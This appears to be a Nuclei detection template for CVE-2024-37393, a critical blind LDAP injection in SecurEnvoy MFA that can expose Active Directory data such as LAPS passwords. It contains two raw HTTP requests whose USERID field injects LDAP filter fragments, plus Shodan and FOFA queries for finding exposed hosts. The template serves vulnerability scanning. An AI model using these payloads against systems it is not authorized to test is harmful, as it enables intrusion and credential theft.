SecurEnvoy Two Factor Authentication - LDAP Injection

id: CVE-2024-37393
info:
  name: SecurEnvoy Two Factor Authentication - LDAP Injection
  author: s4e-io
  severity: critical
  description: |
    Multiple LDAP injections vulnerabilities exist in SecurEnvoy MFA before 9.4.514 due to improper validation of user-supplied input. An unauthenticated remote attacker could exfiltrate data from Active Directory through blind LDAP injection attacks against the DESKTOP service exposed on the /secserver HTTP endpoint. This may include ms-Mcs-AdmPwd, which has a cleartext password for the Local Administrator Password Solution (LAPS) feature.
  impact: |
    Unauthenticated attackers can exploit LDAP injection to exfiltrate sensitive Active Directory data including cleartext LAPS passwords.
  remediation: |
    Update SecurEnvoy MFA to version 9.4.514 or later.
  reference:
    - https://www.tenable.com/cve/CVE-2024-37393
    - https://www.optistream.io/blogs/tech/securenvoy-cve-2024-37393
    - https://securenvoy.com
  classification:
    cve-id: CVE-2024-37393
    cwe-id: CWE-89
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    epss-score: 0.03304
    epss-percentile: 0.88633
    cpe: cpe:2.3:a:securenvoy:multi-factor_authentication_solutions:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    shodan-query: title:"SecurEnvoy"
    fofa-query: title="SecurEnvoy"
  tags: cve,cve2024,securenvoy,ldap,vuln,vkev

variables:
  userid: "{{to_lower(rand_base(20))}}"

http:
  - raw:
      - |
        POST /secserver/? HTTP/1.1
        Host: {{Hostname}}

        FLAG=DESKTOP
        1
        STATUS:INIT
        USERID:{{userid}})(sAMAccountName=*
        MEMBEROF:Domain Users

      - |
        POST /secserver/? HTTP/1.1
        Host: {{Hostname}}

        FLAG=DESKTOP
        1
        STATUS:INIT
        USERID:*)(sAMAccountName=*
        MEMBEROF:Domain Users

    matchers:
      - type: dsl
        dsl:
          - "contains(body_1, 'Error checking Group')"
          - "status_code_1 == 200"
          - "contains(body_2, 'GETPASSCODE')"
          - "status_code_2 == 200"
        condition: and